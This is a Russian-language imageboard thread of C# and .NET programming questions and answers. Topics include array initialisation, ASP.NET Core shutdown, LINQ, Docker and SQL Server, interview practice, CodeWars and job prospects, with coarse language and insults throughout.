Аноним 01/07/20 Срд 14:03:24 1738900301
>>1738885
Храни в отдельном, зашифрованном файле, расшифровать который можно только при наличии файла-ключа, который в свою очередь хранится на флешке.
Аноним 01/07/20 Срд 16:17:13 1739072302
>>1738726
Аноны, помогите же мне. Есть дллки, есть 4 xml файла, надо каким то образом все это сунуть в один экзешник.
Аноним 01/07/20 Срд 16:40:28 1739110303
>>1739072
Right click on Solution of your project > Add > New Project > Write on SearchBar "Setup" > Setup Project > Next > Create;

не благодари
Аноним 01/07/20 Срд 16:44:30 1739114304
>>1739110
Ты предлагаешь создать установщик? Мне надо, чтобы был только экзешник, без всего
Аноним 01/07/20 Срд 16:55:19 1739131305
>>1738893
Падажжи ебана.. Завтра попробую и отпишусь
Аноним 01/07/20 Срд 16:57:12 1739135306
Аноним 01/07/20 Срд 17:48:56 1739194307
Аноним 01/07/20 Срд 20:04:04 1739349308
>>1738436
В издании версии 5.0 все описывается более просто и подробно, чтобы можно было выбрать эту книгу одной из первых для изучения языка.
Аноним 01/07/20 Срд 20:04:41 1739351309
>>1739194
ставлю жопу этого дауна на то, что он какой то мальвар хочет упаковать и даже не знает как
Аноним 01/07/20 Срд 21:45:17 1739440310
>>1739351
>ml
>opencv
>мальвар

А ты не очень умный, да?
Аноним 01/07/20 Срд 23:51:30 1739520311
Как правильно завершать asp. net core приложение? Допустим, я сделал класс, который пишет в файлик что-то, наследовал его от бекграундворкера, впихунул в хост, ну вот он работает там. Потом я при работе сервера нажимаю ctrl+c и выскакивает ошибка о том, что операция отменена. И это как-бы ничего страшного, но очень сильно раздражает, да и как-то в нормальных программах от нормальных кодеров я такого не встречал. Т.е. скорее всего есть какой-то правильный способ все это дело завершить, но я не знаю как. И еще вот что заметил, если я решаю запустить приложение как сервис виндовый, то оно запускается и работает, но после завершения, почему-то снова не хочет запускаться, при этом среди процессов в диспетчере задач ничего нет, но вот во вкладке "подробности", приложение почему-то есть и отмечено что оно приостановлено и приходится там его завершать.
Аноним 01/07/20 Срд 23:58:36 1739524312
>>1739520
> бекграундворкера
бекграунд сервиса
фикс
Аноним 02/07/20 Чтв 01:27:06 1739590313
>>1738711
а как надо? написал вот такую функцию
void TableAdd(string name, string caption)
{
var n_sch = schTable.Columns.Add(name, typeof(string));
n_sch.Caption = caption;
}

нет, нифига, теперь все столбцы называются по name, а не caption
Аноним 02/07/20 Чтв 18:03:30 1740070314
На собесе спрашивают за сортировку. Говорю, мол, .Sort() - смотрят, как на идиота и просят написать реализацию пузырька. Это я долбоеб или они? Нахуя мне свои велосипеды писать, когда все есть? Может им вообще мсдн не использовать тогда?
Аноним 02/07/20 Чтв 18:18:51 1740077315
>>1740070
Возникнет задача написать алгоритм сортировки на подобии сортировки пузырьком, но с изменениями для конкретного проекта, тогда ты жидко насрёшь себе в штанишки, ведь ты даже стандартного алгоритма не знаешь, а тебе нужен модифицированный. Или, что более вероятно, у тебя даже идеи не возникнет о том, что нужный тебе алгоритм похож на сортировку пузырьком, поэтому ты начнёшь пилить свой велосипед, от которого твой тимлид упадёт в обморок.
Именно поэтому нужно знать как реализован тот инструмент, которым ты пользуешься. Да, для твоих пет-проектов тебе может быть похуй, в крайнем случае спросишь на SO и будешь ждать ответа неделю. Но ты ведь на работу устраиваться пришел, вроде как хочешь чтобы тебе деньги еще за это платили, при том деньги не малые. Времени у тебя перед выпуском в прод будет очень мало, ждать пока ты нагуглишь и поймешь никто не будет, легче нанять студента третьекурсника, который не только эту сортировку знает, но и другие.
Вот теперь можешь ответить на свой вопрос:
>Это я долбоеб или они?
Аноним 02/07/20 Чтв 20:13:12 1740106316
>>1740077
>Возникнет задача написать алгоритм сортировки на подобии сортировки пузырьком, но с изменениями для конкретного проекта
Вот, блядь, как возникнет, открою и почитаю. Нах мне все это говно в голове держать? Ты же, блядь, весь мсдн в голове не держишь, понадобилось - открыл и поглядел.
Аноним 02/07/20 Чтв 20:29:19 1740118317
Кто нибудь запускал эту приложуху? https://github.com/dotnet-architecture/eShopOnWeb

У меня сначала зависимости не качались, хотя интернет был в порядке, и я проверял руками, они скачивались. Потом пишет, что localdb не поддерживается на этой платформе. В докере вообще не запускается, полчаса шел процесс настройки и тоже ошибка на ошибке. Запускал на Линуксе.
Аноним 02/07/20 Чтв 20:32:04 1740120318
>>1740070
Если ты не можешь ничего написать сам, не используя стандартные методы, то очевидно кто.
Аноним 02/07/20 Чтв 20:32:42 1740121319
>>1740106
Пиздец вкатуны охуели. Я просто хуею. А потом они такие: "Бля, почему я год работу найти не могу. Это все сытая ашарочка виновата. Утутуту, пожалейте."
Это, блядь, база, которую знать надо.
Охуеть просто. А потом смотришь его код, а там одна копипаста со стековерфлоу. Охуеть, блядь.
Аноним 02/07/20 Чтв 20:34:38 1740123320
>>1740118
Запускал. Все норм работало. Где-то полгода назад.
Аноним 02/07/20 Чтв 20:37:28 1740125321
Аноним 02/07/20 Чтв 20:40:01 1740126322
>>1740120
>Если ты не можешь ничего написать сам, не используя стандартные методы
Ну, нахуя мне этот пузырь писать, если есть .sort?
Аноним 02/07/20 Чтв 20:40:49 1740128323
>>1740126
Потому что это требуют. Требуют для того, чтобы увидеть твое алгоритмическое мышление. Увидели. Его нет.
Аноним 02/07/20 Чтв 20:41:05 1740129324
>>1740123
На Линуксе запускал?
Аноним 02/07/20 Чтв 20:41:27 1740130325
>>1740121
>Это, блядь, база, которую знать надо.
Нахуя? .sort чем не угодил? Может мне еще вместо .split для строк писать разбиение на подстроки? Чо за ебанизм?
Аноним 02/07/20 Чтв 20:42:27 1740131326
>>1740128
>Требуют для того, чтобы увидеть твое алгоритмическое мышление
Открыл и почитал, чо теперь, я пиздец алгоритмическим мышлением обладать начал? Ты ж тоже до пузыря не сам додумался, а прочитал где-то про него
Аноним 02/07/20 Чтв 20:46:38 1740134327
>>1740130
>Может мне еще вместо .split для строк писать разбиение на подстроки?
Да, представь себе, это входит в обучение. Если ты сам этого ничего не писал, значит ты обычный копипастер, и не способен писать алгоритмы.
Аноним 02/07/20 Чтв 20:47:51 1740135328
>>1740131
>Открыл и почитал
Не читать надо, а писать сортировку руками без встроенных методов. Читал он блять. Плавать тоже учился через чтение?
Аноним 02/07/20 Чтв 20:48:36 1740136329
>>1740130
>>1740131
Представляю что будет когда тебе придется алгоритмы на графах релизовывать самому.
Аноним 02/07/20 Чтв 20:48:55 1740137330
>>1740134
Давай текст алгоритма и я тебе его напишу. А то что я там где-то чет-та глянул, и чем это отличается от того, что со со спиздил?
Аноним 02/07/20 Чтв 20:49:37 1740138331
>>1740135
>Не читать надо, а писать сортировку руками без встроенных методов.
Пиши текст алгоритма, я тебе его реализацию напишу.
Аноним 02/07/20 Чтв 20:51:20 1740140332
>>1740137
Реши задачу об укладке рюкзака через рекурсию
Аноним 02/07/20 Чтв 20:51:43 1740141333
>>1740136
>Представляю что будет когда тебе придется алгоритмы на графах релизовывать самому.
И в чем проблема? Писал графы, это ж не значит, что я должен эти алгоритмы на зубок знать. Как раз маня, которая посмотрела до этого и запомнила нахуй не нужна, а вот чел, который почитал и написал - нужен. Кто разобраться сам может, а не увидел и запомнил. Потом чо, столкнется с тем, чего не видел и все, пук среньк будет. А чел, который разобраться может сядет и решит задачу. Никто ж не говорит, что надо со стака бежать списывать
Аноним 02/07/20 Чтв 20:53:07 1740142334
>>1740140
>Реши задачу об укладке рюкзака через рекурсию
Ну пиши условия
Аноним 02/07/20 Чтв 20:59:12 1740144335
>>1740141
Если ты такой умный, то почему не написал сортировку?

>>1740142
Это известная задача.
Аноним 02/07/20 Чтв 21:11:46 1740151336
>>1740141
Блядь, не неси хуйни. То что ты скопипастил решение, это не значит что ты разобрался, блядь. Когда ты, блядь, разобрался, ты не будешь гуглить или что-то нести. Ты же, блядь, не гуглишь каждый раз как ветвление делать или цикл. При этом ты знаешь как и где их использовать. Что, блядь, ты зазубирл это и когда тебе вместо одного условия, надо будет 2 ты обосрешься? Нет. А вот если ты еблан, который гуглит, как сделать обход по массиву, то ты нихуя не разобрался. Блядь. Пиздец, это сука объяснять надо.
Вот тебе, сука аналогия, ты ж тупой и не поймешь. Допустим ты и другой чел решаете научиться рисовать. Ты обвел картинку и получил норм. Тот чел пошел дрочить кубы, анатомию, и прочее и тоже нарисовал картинку. Так вот, кто из вас научился рисовать? Кто из вас, блядь, сможет нарисовать то, чего еще не рисовали? Так, блядь, понятно?
Аноним 02/07/20 Чтв 21:14:11 1740154337
>>1740144
>Это известная задача.
Предлагаешь сходить погуглить? Опиши задачу своими словами, чо ты
Аноним 02/07/20 Чтв 21:18:35 1740159338
>>1740151
>То что ты скопипастил решение, это не значит что ты разобрался, блядь.
Но я не копипастил ничего, открыл этот пузырь и почитал, в пару строк цикла такое пишется, чего там писать, если знать условия?
>Ты же, блядь, не гуглишь каждый раз как ветвление делать или цикл.
Потому что это постоянно надо, а пузырек ты в каждой своей проге используешь?
>ты еблан, который гуглит, как сделать обход по массиву
А там только обход по массиву надо сделать или надо еще алгоритм применить при этом?
>Вот тебе, сука аналогия
Которая не является доказательством ничего, умник
>Допустим ты и другой чел решаете научиться рисовать. Ты обвел картинку и получил норм.
Вот ты и обосрался, я прочитал что именно надо нарисовать и нарисовал
>Кто из вас, блядь, сможет нарисовать то, чего еще не рисовали?
Никто, то что ты человека нарисовал не значит, что вазу с фруктами нарисуешь.
Аноним 02/07/20 Чтв 21:27:28 1740167339
>>1740151
Ебать ты быдлан агрессивный. Ничего даже удивительного, что у тебя такая идиотская позиция, оправдывающая необходимость изобретения велосипедов на собеседованиях.
Аноним 02/07/20 Чтв 21:30:21 1740174340
>>1740106
Я же тебе написал, дебил:
>ждать пока ты нагуглишь и поймешь никто не будет
И важнее не это, а вот это:
>у тебя даже идеи не возникнет о том, что нужный тебе алгоритм похож на сортировку пузырьком, поэтому ты начнёшь пилить свой велосипед, от которого твой тимлид упадёт в обморок.
Есть множество задач, алгоритмы решений которых похожи на алгоритмы сортировки, если ты долбоеб, который не может написать сортировку пузырьком/вставками/быструю сортировку, то и в голове у тебя никаких аналогий не возникнет, написав свой велосипед, ты даже не поймешь, что он похож на алгоритм сортировки пузырьком, ты с рожей дебила будешь смотреть в зеркало и думать "пиздец я умный, никто бы не догадался решить задачу таким путём!", при этом не осознавая, что если бы ты знал алгоритм сортировки, то выполнил бы задачу на много раз быстрее и эффективнее.
Аноним 02/07/20 Чтв 21:31:33 1740177341
>>1740159
Анализ сложности алгоритмов ты конечно же тоже не знаешь.
Аноним 02/07/20 Чтв 21:32:10 1740179342
>>1740167
Не отвечай ему просто и все.
Аноним 02/07/20 Чтв 21:41:22 1740196343
>>1740130
>вместо .split для строк писать разбиение на подстроки?
Представь себе, и такое бывает.
Понимаешь, дебил, методы стандартной библиотеки и вообще любой библиотеки, которая ориентирована на широкую публику, создаются при условии, что ими будут пользоваться создатели вообще любых программ, т. е. это всё отражается на коде метода. Он универсален, но в какой-либо конкретной ситуации можно придумать алгоритм, который отработает быстрее, но не будет настолько универсален.
Допустим, тебе нужно разбить строку и ты знаешь, что результатом всегда будет массив как минимум из 6 элементов, при этом работать ты всегда будешь с массивом который состоит из 2 по 6 элемент.
Если работать с этой строкой используя стандартный split, то он не будет останавливаться на 6 элементе, он будет сплитить тебе всю строку, также тебе самостоятельно придётся отбрасывать 1 элемент. При этом если использовать свой split, то эту остановку и пропуск первого элемента можно реализовать, значительно повысив производительность.
Аноним 02/07/20 Чтв 21:41:23 1740197344
>>1740174
>алгоритмы решений которых похожи на алгоритмы сортировки, если ты долбоеб, который не может написать сортировку пузырьком/вставками/быструю сортировку, то и в голове у тебя никаких аналогий не возникнет
Если мне понадобится эта задача, я напишу в гугл "сортирвки" и выберу нужный мне алгоритм. Ты реально не догоняешь этого что ли? Ты когда пишешь свою прогу в мсдн тоже не заглядываешь, потому что, а нахуя? Я ж там алгоритм пузыря знаю, ща накатаю, пока я просто .sort использую и все.
>что если бы ты знал алгоритм сортировки, то выполнил бы задачу на много раз быстрее и эффективнее.
.sort выполняет задачу быстрее и эффективнее, чем написание своего пузыря
Аноним 02/07/20 Чтв 21:43:02 1740200345
>>1740196
>Если работать с этой строкой используя стандартный split, то он не будет останавливаться на 6 элементе, он будет сплитить тебе всю строку, также тебе самостоятельно придётся отбрасывать 1 элемент.
В данном случае доработаю и сделаю свой сплит. Ща объясни мне, в чем твой велосипед с пузырем лучше, чем .sort()?
Аноним 02/07/20 Чтв 21:46:57 1740206346
>>1740197
>Если мне понадобится эта задача, я напишу в гугл "сортирвки" и выберу нужный мне алгоритм.
Не выберешь. Сейчас тебе если задать любую нестандартную сортировку, даже с небольшими отклонениями, и ты не найдешь ее, и сам не сразу напишешь. Потому что опыта написания самостоятельно нет.
Аноним 02/07/20 Чтв 22:08:54 1740220347
>>1740197
>Если мне понадобится эта задача, я напишу в гугл "сортирвки" и выберу нужный мне алгоритм.
Так зачем вообще тогда что-либо знать? Приходишь с гуглом и решаешь любую задачу.
>когда пишешь свою прогу в мсдн тоже не заглядываешь, потому что, а нахуя?
Я заглядываю туда на пару секунд, ты же сначала там сидишь час, потом еще уточняешь что-то, чего ты не понял, в гугле второй час и только потом пишешь какой-то код, который не работает, потому что ты не всё прочитанное запомнил.
Понимаешь в чём разница, дурачок? Если ты встречал и работал с задачей ранее, то освежить знания будет быстрее, чем получить их.
>.sort выполняет задачу быстрее и эффективнее, чем написание своего пузыря
Ну это просто без комментариев. Прочитай про алгоритмы сортировок, про их отличия. Помимо пузыря существует еще не мало алгоритмов, про пузырь у тебя спросили в качестве примера, а не панацеи для всех задач сортировки.
>>1740200
>В данном случае доработаю и сделаю свой сплит.
Конечно сделаешь, особенно когда ты ни разу не видел устройства этого сплита из стандартной библиотеки. Будешь сидеть пару часов и пытаться разобраться как это у них делается, когда тот кто знает, меньше чем за час уже напишет свою реализацию.
>в чем твой велосипед с пузырем лучше, чем .sort()?
Тем, что скорость сортировки зависит от сортируемых данных, в зависимости от контекста, может быть выгоднее использовать пузырьковую сортировку, а может и быструю сортировку. И это только скорость, есть еще и такой фактор как память. Всего этого стандартный Sort не учитывает, он использует тот алгоритм, который наиболее эффективен в большинстве случаев, т. е. самый универсальный.
Вот видишь, ты даже таких базовых вещей не знаешь, а всё еще спрашиваешь "зачем". Затем и спрашивают, чтобы понять, изучал ли человек сортировки или использовал стандартную библиотеку и копипастил чужой код.
Аноним 02/07/20 Чтв 22:13:15 1740222348
>>1740220
>Так зачем вообще тогда что-либо знать? Приходишь с гуглом и решаешь любую задачу.
Ну так давно уже можно было заменить программистов макаками работающими с электронным помошником, вот только никто его сделать не хочет нормально почему-то...
Аноним 02/07/20 Чтв 22:20:05 1740225349
>>1740222
Так уже, электронный помощник это IDE, макака это человек который мнит себя программистом, но на деле срёт себе в штаны, когда его просят написать сортировку пузырьком.
Аноним 02/07/20 Чтв 23:24:35 1740259350
>>1740225
Так что мешает и это в помошник запихать?
По мне так уже давно программистов можно простенькими алгоритмами заменить практически полностью.
Их сейчас ОЧЕНЬ МНОГО, относительно того сколько могло бы быть.
Аноним 03/07/20 Птн 02:57:12 1740414351
Изучая C#, пытаюсь переделать лабу на C++ на C#.
Ошибка при задействовании методов в строках с 51 по 62. Пишет мол, ссылка на объект не указывает на экземпляр объекта. Но я же создал массив объектов, должно работать. На плюсах же работает.
https://repl.it/repls/SnivelingStrongVisitors#main.cs
Аноним 03/07/20 Птн 08:57:33 1740453352
>>1740414
Ты специально старался максимально уебищно форматировать код, что б никто читать не стал? Скорее всего, ты создал массив, но объекты в нем не инициализировал, т.о. у тебя массив из наллов.
Аноним 03/07/20 Птн 09:08:39 1740458353
>>1740453
А что конкретно не так с моим кодом? И в плюсах так то при объявлении массива типа класса, все ячейки этого массива заполняются одинаковыми объектами этого класса. А в C# иначе?
Аноним 03/07/20 Птн 09:15:46 1740459354
>>1740414
Лучше бы ты кириллицу использовал для названия классов и методов. Благо шарп позволяет.
Аноним 03/07/20 Птн 09:17:40 1740460355
>>1740459
В C++ тредах я уже показывал такой код. Почти каждый ответ выражал недовольство использованию мною кириллицы в коде.
Аноним 03/07/20 Птн 09:29:36 1740463356
>>1740458
Плюсы вызывают конструктор по умолчанию во время инициализации массива. Шарп при инициализации массива типа T вызывает default (T), что для классов является null, а для структуры - значение, возвращаемое конструктором по умолчанию
Аноним 03/07/20 Птн 09:30:29 1740464357
>>1740460
Лучше уж кириллица чем транслит
Аноним 03/07/20 Птн 10:09:04 1740474358
>>1740463
Значит без разведения зоопарка лишних переменных не обойтись?
Аноним 03/07/20 Птн 10:34:36 1740484359
>>1740474
Enumerable.Range(0, 10).Select(i => new Yoba()).ToArray()
Аноним 03/07/20 Птн 10:45:27 1740486360
>>1739520
Прокидываешь CancellationToken, который передается в бекграунд воркер, дальше в свой код. При остановке приложения все инициализированные таски грейсфулли завершаются.
Аноним 03/07/20 Птн 11:21:48 1740494361
cd.png 11Кб, 538x442
538x442
>>1740486
>при работе сервера нажимаю ctrl+c
>таски грейсфулли завершаются
Doubt.jpg
>>1740474
Напиши метод для инициализации
>>1740460
>В C++ тредах я уже показывал такой код
Тут тебе не там. С# полностью юникод совместимый. В самом коде да, не стоит использовать ни киррилицу, не транслит ибо мешанину языков воспринимать тяжело, особенно если там еще и транслит-ребусы. Но при взаимодействии с пользователем можешь использовать любой язык. Ах да, у тебя и переменные транслитом, ну за такое обоссут в любом культурном обществе.
>>1740458
> не так с моим кодом?
Про транслит написал, плюс не ленись писать нормальные имена переменным - не в одну букву. Чому у тебя в класее триады пустые виртуальные методы? Если ответственность за их реализацию лежит на наследнике, то стоит подумать об абстрактном классе и методах. Перепиши методы Show (кста, тут тебе не ява пиши методы с большой буквы), максимум и прочие - не надо завязавть свои классы на конкретном окружении. Пусть они не в консоль пишут а возвращают значение, а уже вызывающий решает как и куда выводить. Пиши фигурные скобки с новой строки, чай не на бумаге пишишь - экономить не надо. Если метод простой используй запись Method() => action;
Аноним 03/07/20 Птн 11:31:58 1740497362
>>1740494
Дядь, тебе Линка не хватает? Нафиг этот экстеншн метод нужен?
Аноним 03/07/20 Птн 11:35:09 1740500363
>>1740494
Я бы тебя на работу с таким кодом не взял. Нахуя ты линк изобретаешь?
Аноним 03/07/20 Птн 12:23:22 1740518364
>>1740494
>Напиши метод для инициализации
Уже пытался. Нормально ли оставлять его паблик?
Аноним 03/07/20 Птн 12:42:20 1740526365
>>1740518
Делай паблик. Зависит от того чей это будет метод и кто должен иметь доступ.
Аноним 03/07/20 Птн 16:35:54 1740814366
Аноним 03/07/20 Птн 18:43:57 1740979367
image.png 73Кб, 391x101
391x101
Ебусь с этой парашей уже сутки. Не могу сделать. Надо юзать LINQ.
Аноним 03/07/20 Птн 18:56:25 1740989368
Курю туторы около недели-полторы, пока всё мало понимаю и весь код это чаще всего или копипаста из туторов или нагуглил на форумах. Я даун или так и должно быть? Или весь код это и есть заучить 10 базовых инструментов и гуглить всё остальное?
Аноним 03/07/20 Птн 18:58:07 1740993369
>>1740989
Это нормально, что ты сейчас нихуя не знаешь. Просто решай какие-то простейшие задачи, привыкнешь к синтаксису, поймешь как работает та или иная конструкция
Аноним 03/07/20 Птн 19:09:36 1741003370
>>1740989
Иди на кодварс и решай задачи, гугля уже после того как задачу сдал и она прошла проверики. По моим ощущениям это самый заебатый способ осваивать кодинг. Срсли.
Аноним 03/07/20 Птн 19:18:58 1741015371
>>1741003
Он заебется на первой же задаче и забьёт хуй
Аноним 03/07/20 Птн 19:26:26 1741022372
>>1741015
Ну хуй знает. Я именно в такой форме учил шарп после плюсов. Очень весело же. А потом можно посмотреть как другие решали и подглядеть всякие прикольные штуки.
Аноним 03/07/20 Птн 19:44:21 1741041373
Как лучше учить c#, если уже знаешь несколько яп?
Аноним 03/07/20 Птн 19:45:10 1741044374
>>1741041
Разбираешься с синтаксисом, затем ищешь легкие задачки и решаешь переходя к сложным
Аноним 03/07/20 Птн 19:59:48 1741061375
image.png 29Кб, 666x450
666x450
>>1740979
Держи, с тебя интернеты
Аноним 03/07/20 Птн 20:10:40 1741068376
>>1741044
Синтаксис не проблема, я больше про технологии. Core + Linq сейчас стоит знать или что?
Аноним 03/07/20 Птн 20:24:24 1741077377
>>1741068
Core + Linq обязательны к изучению, как минимум linq ты обязан знать
Аноним 03/07/20 Птн 20:24:49 1741078378
Аноним 04/07/20 Суб 01:47:16 1741273379
Подсел на CodeWars - прикольно, но времени жрет, это пиздец. Пока найдешь правильное решение. И еще в итоге в императивном стиле разложешь пирамиду, которая в итоге делается 1 строчкой. Меня волнует один вопрос - какой блять от этого толк? Типо найди алгоритм, чтобы инпут цифр был только integer с размером 4 или 6? И коню понятно, что такие задачи хуй когда на практике встретятся. Что скажешь, анон?
Аноним 04/07/20 Суб 06:49:05 1741303380
>>1741273
Ты охуеть как прав. Это именно что прикольно. Любой велосипед, типа своей змейки и тетриса, поднимет твой скил в разы, чем дроч задач.
Аноним 04/07/20 Суб 10:51:32 1741380381
Аноним 04/07/20 Суб 11:02:34 1741388382
>>1741273
> И коню понятно, что такие задачи хуй когда на практике встретятся
Встретятся
Ну и на кодварсах уже с 4кю вполне себе задачи, которые в повседневной работе встречаются.
Аноним 04/07/20 Суб 11:40:49 1741409383
>>1741388
сколько всего kyu? меня с какого то хуя по привязке гита сразу на 8 кинуло
Аноним 04/07/20 Суб 11:50:41 1741413384
>>1741409
8 это самый низкий, няша. Тут в обратном порядке, как в каретэ всяких же. Ну и да, всего 8.
Аноним 04/07/20 Суб 12:38:52 1741453385
Для андроид нужно написать простейший парсер сообщений с поиском кода подтверждения и отправкой его в базу данных. На C# реализуемо?
Аноним 04/07/20 Суб 12:46:51 1741459386
>>1741453
Нет, конечно
че за вопросы ебанутые, язык тьюринг полный, хоть ос там себе напиши а
Аноним 04/07/20 Суб 12:48:17 1741460387
Аноним 04/07/20 Суб 12:49:30 1741464388
>>1741388
это какие например? Найти регуляркой и вычленить невалидные символы? Хоть пару примеров приведи
>>1741413
да, уже разобрался. В целом - интересно, но имо бесполезная трата времени, т.к. задачи студентоты - поломать голову. 4fan пойдет
Аноним 04/07/20 Суб 12:53:59 1741470389
>>1741459
Я не так давно начал изучать C# и пока что просто балуюсь и реализую некоторые свои задумки. Решил спросить, чтобы не тратить время зря.

>>1741460
Спасибо.
Аноним 04/07/20 Суб 13:35:42 1741504390
Аноним 04/07/20 Суб 14:29:07 1741627391
>>1741504
геймдев что ли? В интерпрайзе такой хуйни никогда не видел, максимум валидация. При парсинге еще может быть провалидировать ряд, это максимум
Аноним 04/07/20 Суб 14:32:55 1741630392
Вот бы .NET5 принес с собой вакансий в рашечку......
Аноним 04/07/20 Суб 14:34:02 1741632393
>>1741630
зачем? тебе нормальных технологий мало?
Аноним 04/07/20 Суб 14:34:43 1741633394
Аноним 04/07/20 Суб 14:35:51 1741635395
>>1741633
боже упаси. Помимо .NET сейчас куча работы на нормальных стэках. Не буду писать на каких, а то прибегут кукарекать, что и то им не так и то не так
Аноним 04/07/20 Суб 14:39:04 1741639396
>>1741635
Двачую брат, не пали быдлу Котлин.
Аноним 04/07/20 Суб 14:44:17 1741643397
>>1741635
Но шарп хорош. Однако кроме веба делать в нем что-то неудобно. WPF унылый, бойлерплейт бойлерплейтом погоняет. Ксамарин тормозной. Сделали бы блазор нормальный
Фронт? Хуй. На MVC не построишь SPA, а Blazor говно, потому что либо пчел качает wasm на несколько мегабайт, либо с каждым клиентом будь добр держать gRPC соединение.

Вот бы сделали Blazor под все платформы, причем нормально сделали.

По итогу сейчас приходится учить js и фронтенд фреймворк в нагрузку. Сперва Vue изучил, но потом подумал и перекатился на React. Vue Native – говно говна, у них стандартный проект не работает

Хотя, почитаешь на хабре, людям нода вкатывает после шарпа, говорят, писать гораздо быстрее. Хуй его знает, я с js ощущаю себя как в гей-клубе. Как бы красиво, но чуть зазевался и хуй в жопе
Аноним 04/07/20 Суб 14:54:15 1741652398
>>1741643
все так и есть, зато есть у # webApi. Проблема вся в том, я уже писал как то в треде, что мелкософты - жадные. Нет, чтобы делать интеграции с последними технологиями, они пытаються высрать что то непотребное. Блейзор тому пример. Кому нахуй этот wasm нужен. Весь фронт на JS и пока нет лучшей альтернативы ему. В итоге из всего стэка остается только использовать .NET Core, как чистый бэк.
Нода хороша только тем, у кого стэк близок к JS. Любой другой туда полезет и охуеет. Вообще языки с динамической типизацией - это ебаное зло.
За что респект мелкософтам, так это за TS. Он уже нехуево взлетает и я надеюсь, что .NET вылезет из говна и будет стэк бэка на #+TS front. Все остальное - легаси или тухляк.
Сейчас любой архитектор не будет брать # на свежий проект из за еботни с интеграциями, миграциями и прочим гемором.
Насчет JS - сейчас это дефолт, потому что любой интерпрайз язык это 99% веба, а веб = JS (и верстка)
Решетки хороший язык, спору нет и я думаю его будут сапортить и дальше, но стратегия от мелкософта была заведомо провальная. Та же кроссплатформенность и оперсоурс. Да что вам блять мешало интеграцию сделать после выхода первых версий в релиз, как это сделала Java? Или показать свои сорсы. А я скажу - жадность. Вот за нее и поплатились полувялым в жопе от обогнавших на гнедой кобыле конкурентов.
Я много общаюсь с людьми из разных технологий и все, кто +- сталкивался с .NET говорят, что работать можно. Остальные - просто плюются на него.
Аноним 04/07/20 Суб 15:03:25 1741668399
>>1741652
Про веб я и говорил про WebApi. На бекенде шарп хорош
У меня все обостряется тем, что я планирую перекат в другую страну, а там на шарпе работы с гулькин хуй. Учить жабу желания нет, так что взялся за реакт. Но когда представляешь, как бы все могло быть, грустно становится
Аноним 04/07/20 Суб 15:21:18 1741699400
>>1741668
я уже давно не работаю с решетками, но была возможность релокейтнутся в другую страну по прямому офферу. Если работаешь в бадишопе, где +- проект держится больше 2-3 месяцев - есть возможность получить прямой оффер, единственное условие - это очень тонкий подход. Если спизданешь что то типо "Давайте я у вас в офисе буду работать" с большой вероятностью вылетишь пинком под зад с места работы.
У моего знакомого поголовно с php стэка выкатываются в Германию один за одним, им кастомеры сами предлогают. Один уже выкатился, другой в раздумиях. Бадишоп об этом знает, но ничего поделать не может, т.к. жадность давит горло - получать с гребца по $45/h, а платить по 20-25.
Так и живем.
Аноним 04/07/20 Суб 18:00:52 1741926401
Такой вот вопрос.
Стоит ли в арифметических операциях с числами использовать checked? Просто допустим я знаю какие числа мне приходят и я точно знаю что никогда не будет переполнения. Но блин, все равно меня терзает хрень про то, что а вдруг где-то что-то пойдет не так и таки возникнет ситуация, когда прилетит что-то что выйдет за границы.
Аноним 04/07/20 Суб 19:10:02 1741977402
SQL Server Express он же только на Windows? В инструкции к официальному докер образу MSSQL написано, что можно запустить Express. Но как, если образ на основе Ubuntu?

>Start a mssql-server instance running as the SQL Express edition
>docker run -e 'ACCEPT_EULA=Y' -e 'SA_PASSWORD=yourStrong(!)Password' -e 'MSSQL_PID=Express' -p 1433:1433 -d mcr.microsoft.com/mssql/server:2017-latest-ubuntu
Аноним 04/07/20 Суб 19:30:32 1741989403
>>1741926
> я точно знаю что никогда не будет переполнения
>возникнет ситуация, когда прилетит что-то что выйдет за границы
ты уж определись...
А вообще логика простая - если переполнение недопустимо, делай чекд, если допустимо - не делай.
>>1741977
>SQL Server 2019 Express
>Supported Operating Systems
>Windows 10 TH1 1507 or greater, Windows Server 2016 or greater, Red Hat Enterprise Linux 7.3 or greater, SUSE Enterprise Linux Server v12 SP2, Ubuntu 16.04LTS, Docker Engine 1.8+ (on Windows, Mac, or Linux)
Аноним 04/07/20 Суб 23:05:48 1742127404
Для приложения и базы поднимать отдельные контейнеры? Не вдупляю как это все сделать. Это же надо базу создать и подключиться к ней.
AnalDestructor2010 05/07/20 Вск 00:01:20 1742152405
Правильной дорогой идем товарищи! Почти как лисп
list.Add((r, c));
Аноним 05/07/20 Вск 04:28:31 1742233406
>>1742152
Tuple нинужны. Лучше бы record типы завезли
Аноним 05/07/20 Вск 05:05:24 1742238407
Почему в моей программе при изменении одной чейки массива меняются все остальные? Метод Save не виноват, без него то же самое происходит. На C++ такой хуйни не было.
https://repl.it/repls/ImaginativeRapidLanservers
Аноним 05/07/20 Вск 08:07:49 1742253408
>>1742238
Ты можешь подробнее расписать, что за массив и какие действия происходят (со ссылками на строки кода)? Код - говно, ничего не понятно же.
Аноним 05/07/20 Вск 09:14:57 1742268409
Аноним 05/07/20 Вск 11:03:54 1742309410
Снимок.PNG 55Кб, 667x354
667x354
>>1724536
Начал с Троелсена. Сам не программер, но на уровне составления простых алгоритмов могу.
Так вот, ебать как там в первой главе нагружают терминами и концепциями. Я понимаю, что потом всё разжуют, но такой подход может оттолкнуть.
В пикриле - первое предложение вмещает столько понятий...
Аноним 05/07/20 Вск 11:08:26 1742313411
>>1742238
Потому что класс это референс тип данных. Если говорить на языке говна и мочи С++: массив Date[] - это массив указателей на Date.
Аноним 05/07/20 Вск 11:20:05 1742325412
Иван Ванко Твой[...].mp4 164Кб, 640x360, 00:00:03
640x360
>>1742233
Таки в 9 завезут
>>1742238
Ну вот открыл я твой метод Save, и как должен догадаться, что такое d, t, i, maxDat, как тебе в голову пришло такое:
>actualSize; // Счётчик введённых дат
Почему переменная с именем размер описана как счетчик?
Аноним 05/07/20 Вск 11:34:02 1742337413
>>1742325
Бро, код - говно, но проблема не в методе Save. Этож явно писал студент, который программирует от силы пару месяцев. Смотри на конструктор Memory, ошибка там.

мимо >>1742313
Аноним 05/07/20 Вск 11:57:08 1742357414
>>1742309
Вся суть русика - читать Троелсена на английском легче, чем на русском.
Аноним 05/07/20 Вск 15:37:07 1742542415
>>1724425 (OP)
Народ, кто-то пробовал поставить кор 3 параллельно с 2.2 ?
Я не уверен будет ли компилиться 2.2 проект, оф. дока говрит, что при установке кор 3 не будет возможности выбрать версию ниже.
Аноним 05/07/20 Вск 16:38:25 1742598416
